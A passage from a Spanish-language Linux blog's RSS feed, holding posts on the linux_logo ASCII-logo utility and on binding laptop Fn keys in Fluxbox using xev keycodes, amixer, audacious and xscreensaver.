href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2F5-gestores-de-ventanas-window-manager-ultra-ligeros%2F&amp;linkname=5%20Gestores%20de%20ventanas%20%28window%20manager%29%20ultra%20ligeros" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2F5-gestores-de-ventanas-window-manager-ultra-ligeros%2F&amp;linkname=5%20Gestores%20de%20ventanas%20%28window%20manager%29%20ultra%20ligeros" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2F5-gestores-de-ventanas-window-manager-ultra-ligeros%2F&amp;linkname=5%20Gestores%20de%20ventanas%20%28window%20manager%29%20ultra%20ligeros" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2F5-gestores-de-ventanas-window-manager-ultra-ligeros%2F&amp;linkname=5%20Gestores%20de%20ventanas%20%28window%20manager%29%20ultra%20ligeros" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2F5-gestores-de-ventanas-window-manager-ultra-ligeros%2F&amp;linkname=5%20Gestores%20de%20ventanas%20%28window%20manager%29%20ultra%20ligeros">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/5-gestores-de-ventanas-window-manager-ultra-ligeros/feed/</wfw:commentRss>
		<slash:comments>25</slash:comments>
		</item>
		<item>
		<title>Linux Logo</title>
		<link>http://blog.zerial.org/linux/linux-logo/</link>
		<comments>http://blog.zerial.org/linux/linux-logo/#comments</comments>
		<pubDate>Wed, 15 Oct 2008 01:34:44 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[ascii art]]></category>
		<category><![CDATA[logo]]></category>
		<category><![CDATA[utilidades]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=142</guid>
		<description><![CDATA[Linux Logo es una utilidad/herramienta que nos mostrara un logo en modo de texto de nuestra distribucion e informacion del sistema. Instalacion En la mayoria de las distribuciones como Fedora, Debian, Archlinux, Gentoo, etc se puede encontrar bajo el nombre de linuxlogo o linux_logo, instalandolo directamente con el gestor de paquetes desde los repositorios de [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://deater.net/weave/vmwprod/linux_logo/" target="_other">Linux Logo</a> es una utilidad/herramienta que nos mostrara un logo en modo de texto de nuestra distribucion e informacion del sistema.</p>
<p><strong>Instalacion</strong><br />
En la mayoria de las distribuciones como Fedora, Debian, Archlinux, Gentoo, etc se puede encontrar bajo el nombre de <em>linuxlogo</em> o <em>linux_logo</em>, instalandolo directamente con el gestor de paquetes desde los repositorios de cada distribucion.<br />
Tambien puedes <a href="http://deater.net/weave/vmwprod/linux_logo/linux_logo-5.03.tar.gz">descargar el source</a> y compilarlo tu mismo.</p>
<p><strong>Uso</strong></p>
<blockquote><p>$ linux_logo</p></blockquote>
<p><strong>Screenshots</strong></p>
<blockquote><p><strong>linux_logo -a &amp;&amp; linux_logo -b &amp;&amp; linux_logo -c</strong></p></blockquote>
<p><img title="Linuxlogo: linux_logo -a &amp;&amp; linux_logo -b &amp;&amp; linux_logo -c" src="/wp-content/uploads/2008/10/linuxlogo.thumb.jpg" alt="" align="center" /></p>
<blockquote><p><strong>Linux logo Debian</strong></p></blockquote>
<p><img title="Linuxlogo Debian" src="/wp-content/uploads/2008/10/linuxlogo2.thumb.jpg" alt="" align="center" /></p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Flinux-logo%2F&amp;linkname=Linux%20Logo" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Flinux-logo%2F&amp;linkname=Linux%20Logo" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Flinux-logo%2F&amp;linkname=Linux%20Logo" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Flinux-logo%2F&amp;linkname=Linux%20Logo" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Flinux-logo%2F&amp;linkname=Linux%20Logo" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Flinux-logo%2F&amp;linkname=Linux%20Logo" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Flinux-logo%2F&amp;linkname=Linux%20Logo" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Flinux-logo%2F&amp;linkname=Linux%20Logo">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/linux-logo/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Configurar tecla Function (Fn) de los laptop en fluxbox</title>
		<link>http://blog.zerial.org/linux/configurar-tecla-function-fn-de-los-laptop-en-fluxbox/</link>
		<comments>http://blog.zerial.org/linux/configurar-tecla-function-fn-de-los-laptop-en-fluxbox/#comments</comments>
		<pubDate>Mon, 13 Oct 2008 03:09:27 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[fluxbox]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=138</guid>
		<description><![CDATA[Tengo un notebook Compaq Presario C708LA con las tipicas teclas con segundas funciones que se activan mediante la tecla [Fn] y se me ocurrio un dia configurarlas, en fluxbox. En este caso ayudare a configurar las teclas para subir y bajar el volumen, play, stop, ff, rewind y bloquear la pantalla. Lo haremos definiendo hotkeys. [...]]]></description>
			<content:encoded><![CDATA[<p>Tengo un notebook <a href="http://blog.zerial.org/2008/02/10/47/" target="_other">Compaq Presario C708LA</a> con las tipicas teclas con segundas funciones que se activan mediante la tecla [Fn] y se me ocurrio un dia configurarlas, en fluxbox.<br />
En este caso ayudare a configurar las teclas para subir y bajar el volumen, play, stop, ff, rewind y bloquear la pantalla.</p>
<p>Lo haremos definiendo hotkeys. Primero debemos reconocer el numero (KeyCode) de la tecla que queremos definir o configurar, esto lo hacemos ejecutando <strong>xev</strong>, nos abrira una ventana rara donde solamente debemos presionar la tecla, podemos darnos cuenta que si presionamos la tecla que tiene el icono para subir o bajar el volumen sin presionar Fn nos marcara un codigo y si la presionamos con Fn marcara otro codigo, entendemos entonces que son distintas teclas o distintos KeyCodes. xev nos mostrara una salida asi:</p>
<blockquote><p>KeyPress event, serial 34, synthetic NO, window 0&#215;2200001,<br />
    root 0&#215;69, subw 0&#215;0, time 22118506, (485,592), root:(666,646),<br />
    state 0&#215;0, <strong>keycode 9</strong> (keysym 0xff1b, <strong>Escape</strong>), same_screen YES,<br />
    XLookupString gives 1 bytes: (1b) &#8221;<br />
    XmbLookupString gives 1 bytes: (1b) &#8221;<br />
    XFilterEvent returns: False</p></blockquote>
<p>A nosotros solamente nos interesa lo que esta en negritas. Lo primero es el numero de tecla y lo segundo marcado es el nombre (o alias) de la tecla, si no nos aparece lo segundo nos guiamos por lo primero resaltado.<br />
Por ejemplo, a continuacion les mostrare lo que muestra <strong>xev</strong> cuando presiono la tecla para bajar el volumen con y sin Fn:</p>
<p><strong>Con Fn</strong></p>
<blockquote><p>KeyRelease event, serial 34, synthetic NO, window 0&#215;2200001,<br />
    root 0&#215;69, subw 0&#215;0, time 22273462, (550,501), root:(749,573),<br />
    state 0&#215;0, keycode 174 (keysym 0&#215;0, NoSymbol), same_screen YES,<br />
    XLookupString gives 0 bytes:<br />
    XFilterEvent returns: False</p></blockquote>
<p><strong>Sin Fn</strong></p>
<blockquote><p>KeyPress event, serial 34, synthetic NO, window 0&#215;2200001,<br />
    root 0&#215;69, subw 0&#215;0, time 22269330, (550,501), root:(749,573),<br />
    state 0&#215;0, keycode 105 (keysym 0xff56, Next), same_screen YES,<br />
    XLookupString gives 0 bytes:<br />
    XmbLookupString gives 0 bytes:<br />
    XFilterEvent returns: False
</p></blockquote>
<p>El KeyCode cambia de 174 a 105.</p>
<p><span id="more-138"></span></p>
<p>Cuando tengamos identificados los numeros de las teclas entonces editamos el fichero <em>keys</em> de fluxbox, generalmente esta en <strong>~/.fluxbox/keys</strong>, nos vamos al final del fichero y agregamos las hotkeys con su comando correspondiente.<br />
En mi caso tengo lo siguiente:</p>
<blockquote><p>None 174 :ExecCommand /usr/bin/amixer set Master 3dB-<br />
None 176 :ExecCommand /usr/bin/amixer set Master 3dB+<br />
None 162 :ExecCommand /usr/bin/audacious -t<br />
None 164 :ExecCommand /usr/bin/audacious -s<br />
None 144 :ExecCommand /usr/bin/audacious -r<br />
None 153 :ExecCommand /usr/bin/audacious -f<br />
None 223 :ExecCommand /usr/bin/xscreensaver-command -lock</p></blockquote>
<p>Definiciones de las teclas y sus funciones:<br />
<strong>174 y 176</strong> Sube y baja el volumen, +3dB/-3dB respectivamente.<br />
<strong>162, 164, 144, 153</strong> Junto con lo que audacious (xmms, mplayer u otro) nos permite, podremos parar lo que estamos escuchando, poner play, pasar al siguiente o anterior tema.<br />
<strong>223</strong> Activamos el bloqueo de pantalla con la ayuda de xscreensaver.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fconfigurar-tecla-function-fn-de-los-laptop-en-fluxbox%2F&amp;linkname=Configurar%20tecla%20Function%20%28Fn%29%20de%20los%20laptop%20en%20fluxbox" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fconfigurar-tecla-function-fn-de-los-laptop-en-fluxbox%2F&amp;linkname=Configurar%20tecla%20Function%20%28Fn%29%20de%20los%20laptop%20en%20fluxbox" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fconfigurar-tecla-function-fn-de-los-laptop-en-fluxbox%2F&amp;linkname=Configurar%20tecla%20Function%20%28Fn%29%20de%20los%20laptop%20en%20fluxbox" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fconfigurar-tecla-function-fn-de-los-laptop-en-fluxbox%2F&amp;linkname=Configurar%20tecla%20Function%20%28Fn%29%20de%20los%20laptop%20en%20fluxbox" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fconfigurar-tecla-function-fn-de-los-laptop-en-fluxbox%2F&amp;linkname=Configurar%20tecla%20Function%20%28Fn%29%20de%20los%20laptop%20en%20fluxbox" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fconfigurar-tecla-function-fn-de-los-laptop-en-fluxbox%2F&amp;linkname=Configurar%20tecla%20Function%20%28Fn%29%20de%20los%20laptop%20en%20fluxbox" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fconfigurar-tecla-function-fn-de-los-laptop-en-fluxbox%2F&amp;linkname=Configurar%20tecla%20Function%20%28Fn%29%20de%20los%20laptop%20en%20fluxbox" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fconfigurar-tecla-function-fn-de-los-laptop-en-fluxbox%2F&amp;linkname=Configurar%20tecla%20Function%20%28Fn%29%20de%20los%20laptop%20en%20fluxbox">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/configurar-tecla-function-fn-de-los-laptop-en-fluxbox/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
